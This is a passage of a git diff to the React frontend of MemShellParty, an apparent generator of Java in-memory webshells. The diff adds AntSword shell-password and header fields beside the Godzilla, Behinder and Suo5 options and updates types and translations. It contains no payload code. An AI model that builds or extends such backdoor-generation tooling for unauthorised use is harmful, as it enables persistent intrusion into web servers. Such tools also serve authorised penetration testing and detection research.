}: { form: UseFormReturn ( - {t("shellToolConfig.headerName")} + {t("shellToolConfig.headerName")} )} @@ -448,7 +448,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.headerValue")} + {t("shellToolConfig.headerValue")} )} @@ -478,7 +478,7 @@ function CommandTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.paramName")} + {t("shellToolConfig.paramName")} @@ -493,17 +493,54 @@ function CommandTabContent({ form, shellTypes }: { form: UseFormReturn; shellTypes: Array }) { + const { t } = useTranslation(); return ( - - - -
- WIP -
-
-
-
+ + + + +
+ + +
+ ( + + {t("shellToolConfig.antSwordPass")} + + + )} + /> +
+ ( + + {t("shellToolConfig.headerName")} + + + )} + /> + ( + + {t("shellToolConfig.headerValue")} + + + )} + /> +
+ +
+
+
+
); } @@ -524,7 +561,7 @@ function Suo5TabContent({ form, shellTypes }: { form: UseFormReturn; name="headerName" render={({ field }) => ( - {t("shellToolConfig.headerName")} + {t("shellToolConfig.headerName")} )} @@ -534,7 +571,7 @@ function Suo5TabContent({ form, shellTypes }: { form: UseFormReturn; name="headerValue" render={({ field }) => ( - {t("shellToolConfig.headerValue")} + {t("shellToolConfig.headerValue")} )} diff --git a/web/src/components/package-config-card.tsx b/web/src/components/package-config-card.tsx index bb689769..6dff057d 100644 --- a/web/src/components/package-config-card.tsx +++ b/web/src/components/package-config-card.tsx @@ -67,7 +67,7 @@ export function PackageConfigCard({ name="packingMethod" render={({ field }) => ( - {t("packageConfig.title")} + {t("packageConfig.title")} {options.map(({ name, value }) => ( diff --git a/web/src/components/quick-usage.tsx b/web/src/components/quick-usage.tsx index 57691182..671ed538 100644 --- a/web/src/components/quick-usage.tsx +++ b/web/src/components/quick-usage.tsx @@ -1,4 +1,5 @@ import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; +import { ScrollTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; export function QuickUsage() { @@ -6,7 +7,10 @@ export function QuickUsage() { return ( - {t("quickUsage.title")} + + + {t("quickUsage.title")} +
    diff --git a/web/src/components/shell-result.tsx b/web/src/components/shell-result.tsx index ea99524f..41de3703 100644 --- a/web/src/components/shell-result.tsx +++ b/web/src/components/shell-result.tsx @@ -20,6 +20,7 @@ import { Separator } from "@/components/ui/separator.tsx"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx"; import { downloadBytes } from "@/lib/utils.ts"; import { + AntSwordShellToolConfig, BehinderShellToolConfig, CommandShellToolConfig, GenerateResult, @@ -27,7 +28,7 @@ import { Suo5ShellToolConfig, } from "@/types/shell.ts"; import { TFunction } from "i18next"; -import { CircleHelpIcon, TriangleAlertIcon } from "lucide-react"; +import { CircleHelpIcon, TicketCheckIcon, TriangleAlertIcon } from "lucide-react"; import { Fragment, useState } from "react"; import { useTranslation } from "react-i18next"; import { toast } from "sonner"; @@ -143,7 +144,10 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) { - {t("generateResult.basicInfo")} +
    + + {t("generateResult.basicInfo")} +
    @@ -216,6 +220,20 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) { /> )} + {generateResult?.shellConfig.shellTool === "AntSword" && ( + + + + + )} ; + } return ( - - {generateResult ? ( - - - {t("generateResult.title1")} - {t("generateResult.title2")} - {t("generateResult.title3")} - - -
    - -
    - {renderResultComponent(packResult, allPackResults, packMethod, t, generateResult)} -
    - - - - Warning - {t("tips.decompileTip")} - -
    - -
    - {generateResult?.shellClassName}} - wrapLongLines={true} - height={600} - code={generateResult?.shellBytesBase64Str ?? ""} - language="text" - /> -
    - - - - Warning - {t("tips.decompileTip")} - -
    - -
    - {generateResult?.injectorClassName}} - height={600} - code={generateResult?.injectorBytesBase64Str ?? ""} - language="text" - /> -
    -
    - ) : ( - - )} -
    + + + {t("generateResult.title1")} + {t("generateResult.title2")} + {t("generateResult.title3")} + + +
    + +
    + {renderResultComponent(packResult, allPackResults, packMethod, t, generateResult)} +
    + + + + Warning + {t("tips.decompileTip")} + +
    + +
    + {generateResult?.shellClassName}} + wrapLongLines={true} + height={600} + code={generateResult?.shellBytesBase64Str ?? ""} + language="text" + /> +
    + + + + Warning + {t("tips.decompileTip")} + +
    + +
    + {generateResult?.injectorClassName}} + height={600} + code={generateResult?.injectorBytesBase64Str ?? ""} + language="text" + /> +
    +
    ); } diff --git a/web/src/i18n/en.json b/web/src/i18n/en.json index 5490d4d4..35c62092 100644 --- a/web/src/i18n/en.json +++ b/web/src/i18n/en.json @@ -39,7 +39,9 @@ "behinderEncryptType": "Encrypt Type", "behinderDefaultEncryptType": "Default", "paramName": "Param Name", - "suo5Header": "AdvanceConfiguration -> Request Header" + "suo5Header": "AdvanceConfiguration -> Request Header", + "antSwordPass": "Shell pwd", + "httpHeader": "HTTP -> HTTP HEADERS" }, "packageConfig": { "title": "Package Method", @@ -57,7 +59,7 @@ "Velocity": "Velocity", "Groovy": "Groovy", "AgentJar": "AgentJar", - "Deserialize": "Deserialize(Only CB4, 1.9.x)", + "JavaDeserialize": "JavaDeserialize", "ScriptEngine": "ScriptEngine", "XxlJob": "XXL-JOB Executor", "JinJava": "JinJava", diff --git a/web/src/i18n/zh-CN.json b/web/src/i18n/zh-CN.json index 4e126aa7..328df7e2 100644 --- a/web/src/i18n/zh-CN.json +++ b/web/src/i18n/zh-CN.json @@ -39,7 +39,9 @@ "behinderEncryptType": "加密类型", "behinderDefaultEncryptType": "默认", "paramName": "请求参数", - "suo5Header": "高级配置 -> 请求头" + "suo5Header": "高级配置 -> 请求头", + "antSwordPass": "连接密码", + "httpHeader": "请求信息 -> HTTP HEADERS" }, "packageConfig": { "title": "打包方式", @@ -52,7 +54,7 @@ "BeanShell": "BeanShell 表达式", "Aviator": "Aviator 表达式", "JXPath": "JXPath 表达式", - "Deserialize": "反序列化(仅支持 CB4, 1.9.x)", + "JavaDeserialize": "Java反序列化", "ScriptEngine": "内置脚本引擎", "Rhino": "Rhino 脚本引擎" } diff --git a/web/src/routes/__root.tsx b/web/src/routes/__root.tsx index 1a417554..4dfcc1ba 100644 --- a/web/src/routes/__root.tsx +++ b/web/src/routes/__root.tsx @@ -14,8 +14,8 @@ function RootComponent() { return ( -
    -
    +
    +

    MemShellParty - JavaWeb

    @@ -46,7 +46,9 @@ function RootComponent() {
    - +
    + +
    ); diff --git a/web/src/routes/index.tsx b/web/src/routes/index.tsx index 0249ec51..e557a31d 100644 --- a/web/src/routes/index.tsx +++ b/web/src/routes/index.tsx @@ -44,6 +44,7 @@ function IndexComponent() { godzillaKey: "key", commandParamName: "cmd", behinderPass: "pass", + antSwordPass: "ant", headerName: "User-Agent", headerValue: "test", injectorClassName: "", diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index 136afd3f..6e1a50b8 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -12,6 +12,7 @@ export const formSchema = z.object({ godzillaPass: z.optional(z.string()), godzillaKey: z.optional(z.string()), behinderPass: z.optional(z.string()), + antSwordPass: z.optional(z.string()), commandParamName: z.optional(z.string()), headerName: z.optional(z.string()), headerValue: z.optional(z.string()), diff --git a/web/src/types/shell.ts b/web/src/types/shell.ts index a9e448e9..7e25a1cd 100644 --- a/web/src/types/shell.ts +++ b/web/src/types/shell.ts @@ -14,6 +14,7 @@ export interface ShellToolConfig { godzillaKey?: string; commandParamName?: string; behinderPass?: string; + antSwordPass?: string; headerName?: string; headerValue?: string; } @@ -44,6 +45,13 @@ export interface Suo5ShellToolConfig { headerValue?: string; } +export interface AntSwordShellToolConfig { + shellClassName?: string; + pass?: string; + headerName?: string; + headerValue?: string; +} + export interface InjectorConfig { className?: string; classInheritance?: string; @@ -82,6 +90,6 @@ export interface GenerateResult { injectorSize: number; injectorBytesBase64Str: string; shellConfig: ShellConfig; - shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig | BehinderShellToolConfig; + shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig | BehinderShellToolConfig | AntSwordShellToolConfig; injectorConfig: InjectorConfig; } diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts index 20d26dc9..9ea856da 100644 --- a/web/src/utils/transformer.ts +++ b/web/src/utils/transformer.ts @@ -16,6 +16,7 @@ export function transformToPostData(formValue: FormSchema) { godzillaKey: formValue.godzillaKey, commandParamName: formValue.commandParamName, behinderPass: formValue.behinderPass, + antSwordPass: formValue.antSwordPass, headerName: formValue.headerName, headerValue: formValue.headerValue, };